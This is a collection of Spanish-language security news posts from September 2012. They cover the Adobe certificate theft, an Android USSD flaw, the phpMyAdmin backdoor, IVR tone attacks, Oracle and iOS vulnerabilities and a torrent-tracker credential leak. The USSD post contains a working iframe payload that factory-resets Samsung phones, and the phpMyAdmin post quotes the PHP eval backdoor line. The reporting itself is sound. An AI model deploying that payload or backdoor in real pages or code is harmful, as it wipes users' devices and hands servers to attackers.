domingo, 30 de septiembre de 2012

¿Qué ha pasado con el certificado de Adobe?

Vuelve a darse un golpe a la confianza en la criptografía en general y a las PKI en particular. Se ha robado un certificado de Adobe y se ha utilizado para firmar código ajeno. En estos momentos, un programa firmado en los últimos meses por un certificado válido de Adobe, no ofrece garantías sobre su legitimidad.

El jefe de seguridad de Adobe reconoció el jueves que sus sistemas habían sido vulnerados y que, de alguna forma, habían conseguido firmar código ajeno con sus certificados. En la práctica, significa que recibieron varios ficheros.

El primero es PwDump7.exe. Es una evolución de los clásicos pwdump, programada por los conocidos hermanos Tarasco, y de la que particularmente hacemos uso en nuestras auditorías. Sirve para volcar los hashes LM o NTLM de Windows. Normalmente es detectada como malware o PUA (Potentially unwanted application) por los antivirus. A pesar de no pertenecer a Adobe, estaba firmada por ellos. Junto a este recibieron libeay32.dll, que necesita pwdump para funcionar y un tercero también firmado myGeeksmail.dll, que al contrario que el resto, no es una herramienta pública.


Aclarando conceptos

Por supuesto, no tiene por qué existir relación alguna entre los creadores de la herramienta (conocidos programadores e investigadores de seguridad) y el robo del certificado. En principio, la herramienta firmada parece que no ha sido alterada. Probablemente un tercero necesitaba que esta herramienta pasase desapercibida por los antivirus, y la firmó con el certificado de Adobe. De hecho, algo ha conseguido.


El resultado de la herramienta (sin firmar) en VirusTotal es de 34 positivos:

La misma herramienta firmada con Adobe, da 20 positivos:

Y es que a los antivirus les gustan los ficheros firmados... algo que deben empezar a replantearse. Resulta un poco extraño vulnerar una PKI de una gran compañía con el único objetivo de pasar desapercibido para algunos antivirus, puesto que existen otras maneras más sencillas... Pero aún es pronto para cualquier hipótesis.

Esta es la misma técnica que usó TheFlame al firmar con un certificado de Microsoft su código: pasó desapercibido años y consiguió el sueño de todo creador de malware... Pero lo usó para ataques mucho más sofisticados. Quizás en el futuro aparezcan otros ficheros de malware firmados por Adobe (aunque ya esté revocado el certificado). Quién sabe.

Tampoco significa que las herramientas de Adobe firmadas con este certificado que tenemos en nuestro sistema (que seguro tenemos, se puede usar esta herramienta para saberlo), se encuentren comprometidas. No se sabe desde cuándo ha podido estar comprometido el certificado y un potencial atacante ha podido firmar código propio de Adobe con diferentes intenciones... pero lo más probable es que las herramientas firmadas y descargadas desde el sitio oficial de Adobe, sean perfectamente válidas aunque se encuentren firmadas con un certificado que ha sido robado. Lo que sí se sabe es que el pwdump7 fue firmado el 27 de julio de 2012 con lo que, al menos, desde entonces el atacante ha podido firmar cualquier cosa. Si hubiera conseguido además distribuir código de Adobe desde sus canales habituales se hubiera producido una catástrofe. Pero parece que no es el caso y que la alarma no debe ir mucho más allá. El problema real ha sido pues para Adobe, el varapalo a su credibilidad en cuestión de seguridad (que nunca ha sido excesiva) y la tarea de encontrar ahora el cómo y el cuándo han entrado en sus redes.

No se tienen demasiados detalles de cómo ha ocurrido. Por supuesto, Adobe aduce que se trata de un ataque de altísimo nivel y con un objetivo muy claro. También, que su PKI cumplía todos los requisitos de seguridad.

Qué pasa ahora

Dos cosas: Primero es necesario actualizar las herramientas de Adobe. Estas serán las mismas o una versión posterior pero firmadas por otro certificado.

Segundo, Adobe ha pedido a Microsoft que revoque el certificado. De nuevo, se añadirá uno o varios certificados robados al sistema de desconfianza. Sería la quinta revocación masiva de certificados en 11 años. Cuatro de ellas en los últimos dos. Esto da una idea de cuánto se ha movido últimamente el asunto de los ataques a certificados. Por supuesto, el referente ha sido TheFlame, que consiguió robar un certificado de Microsoft con métodos sorprendentes. Con Adobe parece que el robo ha sido más "mundano".

Para los usuarios que deseen mover ya el certificado al repositorio de no confiables antes incluso de que se produzca la revocación, deben saber que por defecto no detendrá la ejecución de un hipotético código firmado por atacantes.


Aunque Adobe no especifica por qué, no funcionará con solo marcar el certificado como no confiable. Es necesario realizar un cambio en el sistema. En concreto, activar authenticodeenabled con el valor 1 en la rama:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifier

Una vez realizado este cambio, sí que se bloquearán las herramientas con él firmadas.


Pero no se recomienda porque según Adobe, sí que podría tener algún efecto negativo sobre el código legítimo del usuario (el funcionamiento de sus programas reales). Muy probablemente, a lo que se refiere es a que supondría un problema para el proceso de actualización. El certificado se bloqueará el día 4 de octubre y tiene el número de serie 15e5ac0a487063718e39da52301a0488.

Más información:

Inappropriate Use of Adobe Code Signing Certificate

Security Advisory: Upcoming Revocation of Adobe code signing certificate

Searching For That Adobe Cert





Sergio de los Santos
Twitter: @ssantosv

sábado, 29 de septiembre de 2012

Nuevos contenidos en la Red Temática CriptoRed (septiembre de 2012)


Breve resumen de las novedades producidas durante el mes de septiembre de 2012 en CriptoRed, la Red Temática Iberoamericana de Criptografía y Seguridad de la Información.

1. NUEVOS DOCUMENTOS EN LA RED TEMÁTICA EN EL MES DE SEPTIEMBRE DE 2012
1.1. Sistemas de detección/prevención de intrusiones y sus técnicas de detección (Enrique Javier Santiago Chinchilla, Network Security Team S.A.S., Colombia)
1.2. Los números IP, los datos personales y la protección de la vida privada (Santiago Martín Acurio Del Pino, Pontificia Universidad Católica del Ecuador, Ecuador)

2. DOCUMENTOS RECOMENDADOS DE OTROS SERVIDORES EN EL MES DE SEPTIEMBRE DE 2012
2.1. Revelando la inseguridad en las aplicaciones: casos de mal uso y patrones de ataque (Jeimy Cano, Blog IT-Insecurity, Colombia)
2.2. Presentaciones del XI Seminario anual CYBSEC Tendencias de Seguridad Argentina 2012 (CYBSEC - Argentina)
2.3. Pronósticos de seguridad de la información para 2013  (Jeimy Cano, Blog IT-Insecurity, Colombia)
2.4. Paper invitado XII RECSI Learning and Experience in Computer Security Education (Matt Bishop, USA)
2.5. Presentación Learning and Experience in Computer Security Education (Matt Bishop, USA)
2.6. Paper invitado XII RECSI Testimonio de medio siglo: de la Perlustración al Cifrado cuántico (Fausto Montoya, España)
2.7. Presentación Testimonio de medio siglo: de la Perlustración al Cifrado cuántico (Fausto Montoya, España)
2.8. Fotografías de la XII Reunión Española de Criptología y Seguridad de la Información RECSI (San Sebastián, España)
2.9. Informe de la Red de Sensores del mes de agosto de 2012 sobre virus y malware (INTECO, España)

3. RELACIÓN CRONOLÓGICA DE CONGRESOS, SEMINARIOS Y CONFERENCIAS DESTACADAS
3.1. Octubre 7 al 10 de 2012: Latincrypt 2012 (Santiago - Chile)
3.2. Noviembre 2 al 3 de 2012: Novena Edición del Congreso No cON Name 2012 (Barcelona - España)
3.3. Noviembre 26 al 30 de 2012: VII Congreso Internacional de Telemática y Telecomunicaciones CITTEL 2012 (La Habana - Cuba)
3.4. Noviembre 28 al 30 de 2012: IADIS International Conference on Internet Technologies & Society 2012 (Perth - Australia)
3.5. Diciembre 12 al 13 de 2012: 4th International Symposium on Cyberspace Safety and Security CSS 2012 (Melbourne - Australia)
3.6. Marzo 18 al 22 de 2013: XI Seminario Iberoamericano de Seguridad en las Tecnologías de la Información (La Habana - Cuba)
3.7. Abril 3 al 5 de 2013: Computational Intelligence for Risk Management, Security and Defence Applications EvoRISK (Viena - Austria)
Más información en:

4. FUE TAMBIÉN NOTICIA EN LA RED TEMÁTICA EN EL MES DE SEPTIEMBRE DE 2012
4.1. Segunda edición del Curso Gestión de la Seguridad de la Información con acreditación Lead Auditor ISO 27001 en la UPM (España)
4.2. Disponible el Boletín CNIS de Interoperabilidad y Seguridad número 7 (España)
4.3. Vigésima primera edición de Respuestas SIC en Madrid y Barcelona: Del SIEM al BIG DATA de seguridad (España)
4.4. Nuevo Máster en Seguridad y Gestión Tecnológica del Riesgo en la URJC de Madrid (España)
4.5. III Jornada de Cloud Computing Security en Buenos Aires (Argentina)
4.6. CFP para el XI Seminario Iberoamericano de Seguridad en las Tecnologías de la Información (Cuba)
4.7. Último CFP para IADIS International Conference on Internet Technologies & Society 2012 (Australia)
4.8. Google compra VirusTotal la empresa que nace en Hispasec Sistemas (España)
Acceso al contenido de estas noticias:

5. OTROS DATOS DE INTERÉS Y ESTADÍSTICAS DE LA RED TEMÁTICA
5.1. Número actual de miembros en la red: 921
5.2. Estadísticas Criptored: 34.074 visitas, con 128.531 páginas solicitadas y 32,77 Gigabytes servidos en septiembre de 2012, descargándose 20.683 archivos zip o pdf. Con 136 seguidores en facebook y 1.323 seguidores en twitter.
5.3. Estadísticas Intypedia: 5.730 reproducciones de vídeos en septiembre de 2012. Con 1.133 seguidores en facebook y 806 seguidores en twitter.
5.4. Estadísticas Crypt4you: 7.083 accesos en septiembre de 2012. Con 435 seguidores en facebook y 363 seguidores en twitter.




Jorge Ramió Aguirre
Coordinador de Criptored




viernes, 28 de septiembre de 2012

Vulnerabilidad de USSD en Android neutraliza la SIM y resetea teléfonos de algunas marcas

Ha salido a la luz la noticia de un error en Android que permite inutilizar totalmente la tarjeta SIM de un teléfono móvil, e incluso dependiendo de la marca, permite que el móvil sea reseteado sólo con visitar una página web maliciosa. El ataque puede consumarse con solo visitar una página web.

El lugar de presentación del error fue la última Ekoparty realizada en Buenos Aires por Ravi Borgaonkar (@raviborgaonkar). El error es la autoejecución de los comandos USSD en los dispositivos Android.

¿Qué es un USSD?

El USSD, acrónimo de 'Unstructured Supplementary Service Data', es un servicio que permite el envío de datos a través de redes móviles GSM de forma inmediata, muy similar al SMS. La diferencia es que no necesita de ningún intermediario como ocurre con los SMS, que precisan de un SMSC (Short Message Service Center) para almacenar el SMS de un terminal origen hasta que el terminal destino está disponible.

Cuando un usuario introduce un código USSD, la respuesta del servicio suele ser casi instantánea. Se hace uso de de USSD, por ejemplo, para realizar una consulta de saldo o conocer el IMEI del teléfono.

¿Cuál es el error?

El error se da por un fallo en la programación de Android, específicamente en los 'intents', que ejecutan automáticamente los tag que contienen USSDs sin la necesidad de que este sea validado por parte del usuario.

Ravi Borgaonkar se basa en el tag 'tel', un intent para notificar la acción de que se va a utilizar la llamada telefónica, perfectamente válido y definido en el W3C que da la capacidad de marcar números de teléfono, (no solamente a los teléfonos Android, sino a todas las plataformas disponibles, incluso a las más antiguas si disponen de un navegador web).

¿Cómo puede afectar este error al teléfono?

El error, tal y como explicó Ravi, se puede utilizar para enviar 10 veces el código PUK erróneo, y esto (documentado en el RFC de telefonía), deshabilitaría inmediatamente una tarjeta SIM. Dejaría a la víctima sin teléfono hasta que el operador facilitara otra tarjeta válida.

¿Como se puede aprovechar la vulnerabilidad?

El error puede ser aprovechado de forma remota simplemente accediendo a una página web. Se hace especialmente fácil a través de códigos QR, una URL acortada por un acortador de direcciones o simplemente a través de la ingeniería social. Los USSD pueden ser también introducidos a través de tecnología NFC (Near Field Communications).

¿Por qué afecta de forma especial a Samsung?

Además del ataque anteriormente descrito, Samsung es vulnerable a otro ataque adicional que permite que un dispositivo sea reseteado volviendo a sus valores de fábricas. Esto es debido a que Samsung dispone de un USSD 'especial' no documentado oficialmente que permite a devolver los parámetros del teléfono a los valores de fábrica. Se han usado a veces en algunos modelos para liberar los teléfonos de esta marca. Otras marcas podrían verse afectadas como HTC o Sony.

En concreto, el código para los Galaxy es el *2767*3855# y la vulnerabilidad puede ser explotable de forma directa con una simple visita a una página web que contenga el código de reseteo en la etiqueta 'tel', quedando de una forma similar a esta.

<iframe src="tel:*2767*3855%23" width="320" height="240"></iframe>

Para saber si se es vulnerable sin riesgos, se puede realizar la prueba con el código USSD universal para conocer el IMEI:

<iframe src="tel:*%2306%23"></iframe>

Para mitigar el error, Collin Mulliner ha desarrollado una pequeña aplicaciónpara Android llamada 'TelStop' que permite que estos USSD deban ser aceptados por parte del usuario antes de ser ejecutados.

El vídeo demostración de Ravi Borgaonkar:

Más información:

Some Android phones can be reset to factory default by clicking on links

TelStop de Collin Mulliner

Resetear un teléfono Samsung con solo visitar un enlace


Jose Ignacio Palacios
jipalacios@hispasec.com






jueves, 27 de septiembre de 2012

Google Chrome corrige 24 vulnerabilidades

El equipo de Google Chrome ha anunciado la disponibilidad de la versión 22.0.1229.79 de su navegador, en la que han corregido un total de 24 vulnerabilidades. Se trata del número máximo de vulnerabilidades corregidas en una sola actualización.

A las vulnerabilidades se les ha asignado los CVEs que van desde CVE-2012-2874 al CVE-2012-2897 (ambos incluidos), y han sido catalogados con cuatro niveles de severidad distintos:

  • Una de carácter crítico (CVE-2012-2897), que podría corromper la memoria del núcleo en Windows 7 y por tanto permitir la ejecución de código arbitrario.
       
     
  • 15 de gravedad alta. Entre las que se destacan los errores de diversos manejadores, errores de liberación de memoria previamente liberada (use-after-free), y fallos en el motor gráfico y visor de PDFs.
        
  • Cinco de gravedad media. Que contienen  errores de condición de carrera y doble liberación.
         
  • Tres de gravedad baja. Causarían una corrupción de la tipología del DOM, salto de restricciones al bloquear ventanas emergentes y una debilidad sobre IPC.


El programa 'Vulnerability Rewards Program' de Google, que recompensa a los buscadores de vulnerabilidades, ha desembolsado un total de 29.000 dólares a los investigadores que han descubierto estos problemas.

Más información

Chrome Releases: Stable Channel Update


Jose Ignacio Palacios



miércoles, 26 de septiembre de 2012

PhpMyAdmin distribuido temporalmente con una puerta trasera

PhpMyAdmin ha reconocido que temporalmente se ha distribuido desde repositorios oficiales de Sourceforge una versión de su programa que ha sido modificada y a la que se le ha añadido una puerta trasera.

El software malicioso se ha encontrado en el paquete "phpMyAdmin-3.5.2.2-all-languages.zip" localizado en el servidor espejo "cdnetworks-kr-1" de SourceForge.net. En este paquete se encontraba el fichero legítimo 'js/cross_framing_protection.js' modificado,  y además archivo ajeno a la distribución que contenía toda la lógica de la puerta trasera: server_sync.php.

El funcionamiento de la puerta trasera permitía a los atacantes obtener el control del servidor donde se hubiese instalado esta versión modificada. El fichero 'server_sync.php' contenía en su interior el siguiente código:

?@eval($_POST['c'])?

que se encargaba de evaluar las peticiones POST que contenían el parámetro "c" y ejecutar el código php que tuviese esa petición. En la práctica, significa que con solo realizar una petición al servidor con el phpMyAdmin vulnerado, se podría ejecutar cualquier código PHP y, a partir de ahí si no se encuentra convenientemente bastionado, ejecutar comandos en el servidor a través de directivas PHP como "system", "exec"...

Fuente: http://arstechnica.com/security/2012/09/questions-abound-as-malicious-phpmyadmin-backdoor-found-on-sourceforge-site/

Desde SourceForge se está investigando aún el caso. Estos servidores alojan más de 300.000 proyectos y no descartan que pueda encontrarse algún proyecto más comprometido, o que la puerta trasera pueda haberse replicado en otro mirror.

Ya se ha agregado un módulo a Metasploit para comprobar desde el programa que existe esta puerta trasera en una instalación.

En enero de 2011 ya atacaron Sourceforge. Se detectaron una serie de ataques dirigidos específicamente contra ellos que concluyeron con el compromiso de varios servidores. Sourceforge se ha vio obligada a apagar "un puñado" de servidores para intentar contrarrestar el ataque.

PhpMyAdmin ha recomendado la descarga y reinstalación completa del software si contiene el fichero 'server_sync.php'

Más información:

Servidores de Sourceforge comprometidos por atacantes

PhpMyAdmin Security Advisory (PMASA-2012-5)

Questions abound as malicious phpMyAdmin backdoor found on SourceForge site


Jose Ignacio Palacios




martes, 25 de septiembre de 2012

Ataques a las centralitas de voz de bancos a través de los tonos telefónicos


Un investigador ha demostrado poder realizar denegaciones de servicio a las centralitas de voz de banca telefónica mediante técnicas que abusan de los algoritmos de procesamiento de tonos de entrada en el teléfono (DTMF, Dual-tone multi-frequency). Incluso se puede llegar a obtener información sensible.

Muchas empresas y entidades utilizan sistemas automáticos para gestionar las llamadas de sus clientes. Se denominan IVR (Interactive Voice Response) y permiten bajo determinados servicios informatizados atender a sus clientes, redireccionándolos a un operador o agente comercial o facilitándoles datos personales y gestionar promociones, todo de forma automática.

Para conseguirlo existe un servidor central que detecta los tonos que se introducen al pulsar los números del teclado telefónico (marcación por tonos o frecuencias DTMF, como por ejemplo el típico "pulse 1 para contactar con un agente") o sistemas capaces de procesar la voz para detectar patrones que se asemejan a los que tienen almacenados (por ejemplo al decir "agente" llevaría a atención al cliente).

Gracias a las investigaciones llevadas a cabo por Rahul Sasi (@fb1h2s), se ha comprobado la deficiente seguridad de estos sistemas. En cierta manera, retrotrae a tiempos pasados en los que exclusivamente a través del teléfono, se podía desde llamar gratis hasta realizar multitud de tareas o activación de servicios no contratados previamente, utilizando tanto dispositivos especiales como técnicas rudimentarias de emulación de tonos.

Según sus investigaciones, estos sistemas IVR están basados principalmente en lenguajes de marcado XML, como CXML (Comerce XML) y CCXML (Call Control XML) / VXML (VoiceXML) para la sintetización y reconocimiento de la voz. Ha conseguido reproducir diferentes vulnerabilidades mediante la introducción de determinadas secuencias multitono o grabaciones de voz de esas mismas secuencias y su posterior reproducción al sistema.

Vídeo de la conferencia completa.

Estos sistemas, suelen considerarse al margen de las redes, e incluso "seguros" por no estar conectados directamente a Internet. No presentan filtros o "cortafuegos" en su software aunque tengan acceso a una base de datos central donde residen multitud de datos personales. Por ello, el investigador pudo reproducir mediante técnicas de fuzzing desde denegaciones de servicio (dejando la centralita bloqueada) hasta, con determinadas secuencias, acceder a información sensible de la base de datos (una especie de ataque de inyección SQL pero a través de tonos/voz).

Aunque estos ataques se encuentren limitados por la entrada de teclado, a través de las grabaciones de voz se pueden realizar infinitas combinaciones de tonos y analizar cómo responde el sistema. Así, y siempre según a sus comentarios, pudo recuperar información sensible de una entidad  bancaria India, su PIN de seguridad.


Estas investigaciones fueron presentadas en junio durante la conferencia "Hack in the Box" en Kuala Lumpur (Malasia), pero Rahul Sasi ha realizado una demostración de esta vulnerabilidad en la Ekoparty 2012 celebrada en Buenos Aires (Argentina) para todos los asistentes.

Más información:

Phonetic attack commands crash bank phone lines

'How I CRASHED my bank, stole PINs with a touch-tone phone'

How I DOS'ed My Bank

D2T2 - Rahul Sasi - CXML VXML Auditing for IVR Pentesters


José Mesa Orihuela



lunes, 24 de septiembre de 2012

Abandonar un programa por sus 0-days

Alemania lo ha vuelto a hacer: su gobierno desaconseja el uso de Internet Explorer después de descubrirse el grave fallo de seguridad que estaba siendo aprovechado por atacantes. No es la primera vez que lo hace y no siempre con este navegador. ¿Tiene fundamento su recomendación?

Un poco de historia

A principios de septiembre de 2008 Google lanza su nuevo navegador Chrome. Una semana después, la red se inunda de comentarios sobre todos los aspectos de esta nueva aplicación y en particular sobre su seguridad. Muchos comentarios, exploits y aclaraciones después, el gobierno alemán desaconsejó explícitamente el uso de este navegador. Es cierto que comenzó con mal pie. La Oficina Federal para la Seguridad de la Información alemana desaconsejó abiertamente el uso del navegador Chrome en un importante informativo televisado. Tuvo mucho que ver su problema de privacidad.

A principios de 2010 es noticia en todos los medios que el gobierno alemán (ahora unido al francés) recomiendan no usar Internet Explorer como navegador, a raíz de los ataques perpetrados desde el gobierno Chino contra Google aprovechando una vulnerabilidad previamente desconocida del navegador de Microsoft.

En marzo de 2010, Mozilla publica oficialmente la versión 3.6.2 del navegador Firefox que soluciona (entre otros) un fallo de seguridad que estaba siendo aprovechado por atacantes desde hacía un mes. En esta
ocasión el gobierno alemán recomendó no usar el navegador hasta que el fallo fuese corregido.

Las noticias sobre Internet Explorer siempre tuvieron más cobertura en los medios, pero todos han sido "desaconsejados" por el gobierno alemán en algún momento.

¿Cuándo abandonar el uso de un programa?

Es importante aclarar varios conceptos, para eliminar prejuicios e ir más allá de los titulares.

  • 0-day no es cualquier vulnerabilidad recién encontrada, como se suele denominar. Un 0-day debe llamarse a la vulnerabilidad grave que se descubre cuando está siendo aprovechada por atacantes. Por tanto, alguien conoce no solo su existencia sino cómo aprovecharla y es más... lo está haciendo no se sabe bien desde cuándo. Este es el peor escenario posible y bajo el que debemos barajar la posibilidad abandonar temporalmente el uso de un programa. Una vulnerabilidad recién descubierta publicada sin parche es eso: una vulnerabilidad sin parche que, probablemente en breve, será aprovechada por atacantes pero no se tiene constancia de que eso esté ocurriendo.
        
  • El consejo es siempre temporal. Los programas evolucionan. Chrome empezó con mal pie en la seguridad y la privacidad para acabar siendo el navegador con más vulnerabilidades en número... pero el más seguro en conjunto. Internet Explorer camina hacia un navegador (por fin) en las antípodas de su eterna versión 6, y Opera está tardando en adoptar las mejores prácticas de seguridad, cuando históricamente siempre fue puntero. Los programas y las circunstancias cambian. Y lo inteligente es saber adaptarse.  Si estos consejos fueran permanentes, no nos quedaría
    ya software para usar.

Una vez contextualizado: ¿se debe abandonar el uso del programa o intentar mitigar su impacto? Pues depende de las necesidades y las circunstancias. Muchos portales internos o redes corporativas sólo funcionan con Internet Explorer, lo que puede impedir su abandono. En estos casos hay que luchar por mitigar el problema de seguridad con mayor ahínco hasta que exista parche. Bien deshabilitando (si es posible) una funcionalidad que lo provoque, bien tomando medidas más "agresivas" (meter en una sandbox de terceros al navegador durante un tiempo, si es que no se usa ya esa medida habitualmente). Los usuarios tienen diferentes necesidades, y no vale con abandonar como apestados a los que no pueden migrar. Es necesario proporcionarles información para que puedan decidir..

Si, por el contrario, se es libre para cambiar, se puede utilizar durante ese tiempo otro navegador. Sin embargo el problema se agrava con otro tipo de software, como Java por ejemplo. No existen demasiadas alternativas. Microsoft lanzó una máquina virtual Java propia que resultó un fiasco en seguridad, además de conseguir escaso éxito y grandes problemas con la justicia. La abandonó en 2003 (aunque le dio soporte hasta 2007). IBM tiene su propio JRE, pero no es tan popular y comparte buena parte del código. ¿Qué ocurre cuando aparece un 0-day como el de hace unas semanas en la máquina virtual Java de Oracle? No cabe más que el abandono temporal o limitar y vigilar extraordinariamente su uso asumiendo un riesgo adicional si no se tiene más remedio.

Ante problemas tan graves como están causando vulnerabilidades en Java, Flash o Adobe PDF Reader en los últimos años, quizás sería útil también un llamamiento público para vigilar su uso cuando se den las circunstancias de peligro descritas

Conclusiones

En general, al lanzar un mensaje de este tipo es necesario ser cuidadoso con el lenguaje. Por ejemplo, el gobierno recomendaba a los usuarios que buscasen una alternativa al navegador Internet Explorer de Microsoft, "para garantizar su seguridad". Esta afirmación es peligrosa, y puede llevar a equívocos. Evidentemente ningún navegador "garantiza la seguridad" sino que en lo posible y dada la situación (como siempre ocurre en seguridad) el uso de alternativas que no están siendo atacadas en estos momentos minimiza el riesgo. Pero también minimiza el riesgo (ahora y siempre) seguir usando cualquier navegador o programa si se aprovechan y se entienden a las medidas de seguridad que implementa o que se le pueden añadir.

En definitiva, no sabemos qué programa, ni de qué forma, puede estar siendo atacado en estos momentos. Recomendar el abandono de un navegador cuando aparezca un 0-day puede ser efectivo para alertar a los usuarios, pero es necesario hacerlo de forma completa y sistemática (no solo con los navegadores), cuidando al mensaje y siempre que exista un peligro real... un trabajo de alerta a tiempo completo al fin y al cabo.

De lo contrario, lo que se conseguirá con mensajes de este tipo descontextualizados es fomentar la eterna y absurda lucha de ideologías sobre el software, que con su ruido, no aporta demasiado en cuestión de seguridad.



Sergio de los Santos
Twitter: @ssantosv

domingo, 23 de septiembre de 2012

Un fallo en el protocolo de autenticación en Oracle DB permitiría averiguar la contraseña


Se ha descubierto una vulnerabilidad en el sistema de autenticación de Oracle Database. Un estudio desvela que puede ser aprovechada para averiguar la contraseña de un usuario en pocas horas de forma muy sencilla. No ha sido resuelta por completo desde hace más de dos años.

El investigador de seguridad especializado en Oracle, Esteban Martinez Fayo (@estemf) de la compañía Application Security, ha demostrado durante esta semana en la Ekoparty los resultados sobre sus estudios de una vulnerabilidad presente en el protocolo de autenticación de las bases de datos Oracle. La técnica descrita permitiría obtener el hash de la contraseña de forma muy sencilla. Un posterior ataque de fuerza bruta revelaría la contraseña en un corto periodo de tiempo. En sus demostraciones habla de cinco horas para una contraseña de 8 caracteres utilizando equipos de sobremesa.

La vulnerabilidad residiría en el método de protección utilizado en las claves de sesión cuando se realiza un intento de conexión. Antes siquiera de proceder a la validación real, cuando se intenta hacer "login" al servidor, éste genera y envía una clave arbitraria de sesión junto a una semilla (salt) al usuario. Una especie de desafío. En esta clave reside la información sobre el hash del password: simplemente con iniciar el proceso login el atacante puede disponer de estos datos vitales y aplicar más tarde fuerza bruta sobre ellos.

"Básicamente, descubrí que no todos los intentos fallidos de presentación eran almacenados en la base de datos. Mirando de cerca el problema, localicé el fallo en la forma en la que uno de los componentes del protocolo de presentación, la "Session Key" se protegía. Me di cuenta de que, en cierta manera, la "Session Key" mostraba información sobre el hash de la contraseña"

Posteriormente y gracias a la semilla y a los cálculos realizados por fuerza bruta sobre la misma, Fayo pudo averiguar la clave de autenticación y así poder conectarse al servidor. Lo peligroso de este problema es que el atacante no necesita grandes recursos, ni un gran número de intentos, ni realizar ataques de tipo MiTM para obtener el tráfico ajeno. Solo acceso unos minutos al sistema de autenticación de la base de datos.

El atacante solo necesitaría un nombre de usuario válido y realizar un intento de conexión estándar y normal para recibir la "Session key" de la víctima junto al "salt". Con estos datos podría proceder a presentarse con éxito en el sistema tras haber deducido la clave a partir del hash.

La vulnerabilidad fue reportada a Oracle en mayo de 2010. Se arregló parcialmente a mediados de 2011 ya que sólo introdujeron una nueva versión del protocolo en la versión 11.2.0.3. Dejaron desprotegidas las ramas 11.1.x y 11.2.x. No hay planes de actualizar la rama 11.1. Las versiones 10g no se ven afectadas al utilizar un protocolo de autenticación no vulnerable.

Más información:

Flaw in Oracle Logon Protocol Leads to Easy Password Cracking

Attack Easily Cracks Oracle Database Passwords




José Mesa Orihuela

Sergio de los Santos
Twitter: @ssantosv


sábado, 22 de septiembre de 2012

Grave vulnerabilidad en el navegador de iOS

Los investigadores holandeses Joost Pol y Daan Keuper de la empresa de seguridad Certified Secure mostraron en la competición Mobile Pwn2Own durante la EuSecWest Conference de Amsterdam una vulnerabilidad grave en el navegador de iOS 5, que permite la ejecución de código

iOS 5 es el sistema operativo móvil que utiliza Apple en sus dispositivos iPhone, iPad e iPod Touch. En esta ocasión para demostrar la vulnerabilidad, Pol y Keuper utilizaron un iPhone 4S, aunque pudo haber sido un iPad. Incluso especulan que podría funcionar en el nuevo iPhone 5 porque la versión para desarrolladores de iOS 6 también es vulnerable.

La vulnerabilidad se encuentra en el navegador WebKit. Para aprovecharla sería suficiente con engañar a un usuario para que visite una página web maliciosa o comprometida donde se ejecute el código del exploit, consiguiendo enviar los datos del dispositivo (agenda de contactos, fotos, vídeos, historial de navegación, etc.) a un servidor del atacante.

Pol y Keuper explicaron que su exploit, realizado en tan solo tres semanas y durante su tiempo libre, logra evitar las restricciones de código firmado de Apple (gracias a una función que utiliza el motor JIT para JavaScript) así como eludir los mecanismos de seguridad (sandbox) de Safari. El exploit podría incrustarse en una página web, legítima o no.

En este caso (como ocurrió con un grave problema en Android destapado en el mismo concurso) tampoco se han desvelado los detalles técnicos de la vulnerabilidad. Advierten que el error en sí es básico, pero que han tenido que encadenar bastantes fallos para poder explotarla correctamente. Los descubridores han ganado 30.000 dólares por el descubrir el problema.

Este fallo se desvela después de que se haya publicado recientemente una nueva versión del sistema operativo iOS (el 6) que además de incorporar nuevas funcionalidades y mejoras, también corrige un total de 197 vulnerabilidades. 53 de las vulnerabilidades corregidas con estaban confirmadas desde el año pasado. Recientemente iTunes también recibió una actualización a la versión 10.7 (que corregía 163 vulnerabilidades), por lo que antes de proceder a la actualización de iOS puede ser recomendable actualizar iTunes. Todas las vulnerabilidades corregidas en iTunes consisten en diferentes problemas de corrupción de memoria en Webkit y bastaría con visitar un sitio web específicamente creado para permitir la ejecución de código arbitrario. Al igual que ocurre con iOS 6, muchas de las vulnerabilidades corregidas también son del 2011.

Más información:

Mobile Pwn2Own: iPhone 4S hacked by Dutch team


Juan José Ruiz

viernes, 21 de septiembre de 2012

Microsoft publica actualización fuera de ciclo para la vulnerabilidad de Internet Explorer

Hoy no es el segundo martes del mes pero Microsoft acaba de publicar el boletín de seguridad MS12-063 de carácter crítico, en el que se  solucionan cinco vulnerabilidades diferentes en Internet Explorer. Si bien la publicación con carácter de urgencia se debe a la última vulnerabilidad recientemente anunciada y que está siendo utilizada de forma activa.

La vulnerabilidad que ha propiciado la publicación del boletín afecta a Internet Explorer 7, 8 y 9. Con el CVE-2012-4969 asignado, se encuentra en la función "execCommand" utilizando referencias no válidas a puntero ya liberado (use-after-free). Ya tratamos anteriormente este problema en una-al-día.

Aparte de este problema la actualización corrige otros cuatro problemas que también afectan a Internet Explorer 7, 8 y 9, relacionados con el mismo problema "use alter-free" en "OnMove" (CVE-2012-1529), "Event Listener" (CVE-2012-2546), "Layout" (CVE-2012-2548) y "CloneNode" (CVE-2012-2557). Esta actualización, como es habitual en todas las de Internet Explorer es acumulativa, lo que quiere decir que además incluye todas las actualizaciones anteriormente publicadas para el navegador de Microsoft.

La actualización publicada puede descargarse a través de Windows Update o consultando el boletín de Microsoft donde se incluyen las direcciones de descarga directa de cada parche. Dada la gravedad de las vulnerabilidades se recomienda la actualización del navegador con la mayor brevedad posible.

Se puede ver el boletín de Microsoft en:

Más información:

Microsoft Security Bulletin MS12-063 – Critical
Cumulative Security Update for Internet Explorer (2744842)

Grave vulnerabilidad sin parche en Internet Explorer está siendo aprovechada por atacantes



Antonio Ropero
Twitter: @aropero

jueves, 20 de septiembre de 2012

Más de 18.000 cuentas del tracker RevolutionTT filtradas


El pasado día 18 de septiembre, se filtró en The Pirate Bay un fichero con decenas de miles de credenciales de los usuarios del tracker de torrents RevTT (revolutiontt.me).


Un tracker de BitTorrent es un servidor que contiene la información necesaria para que los pares se conecten entre sí a través del protocolo BitTorrent. Los trackers son el punto donde se conectan los clientes para poder realizar una descarga. Los rastreadores pueden ser privados o públicos. Los privados requieren registro en un sitio web, mientras que en los rastreadores públicos cualquiera puede comunicarse con ellos.

Un grupo que firma como 'Afghan Hackers' proclama la autoría de un ataque a los servidores del tracker privado RevTT, abreviatura de RevolutionTT. Los atacantes obtuvieron la base de datos de los usuarios y han difundido un archivo RTF que contiene 18.446 usuarios de RevTT y sus respectivas contraseñas a través de un torrent en The Pirate Bay, aunque ya se ha propagado a otros sitios de descargas directas. Otras páginas barajan más usuarios, pero estos son los que realmente se han filtrado.

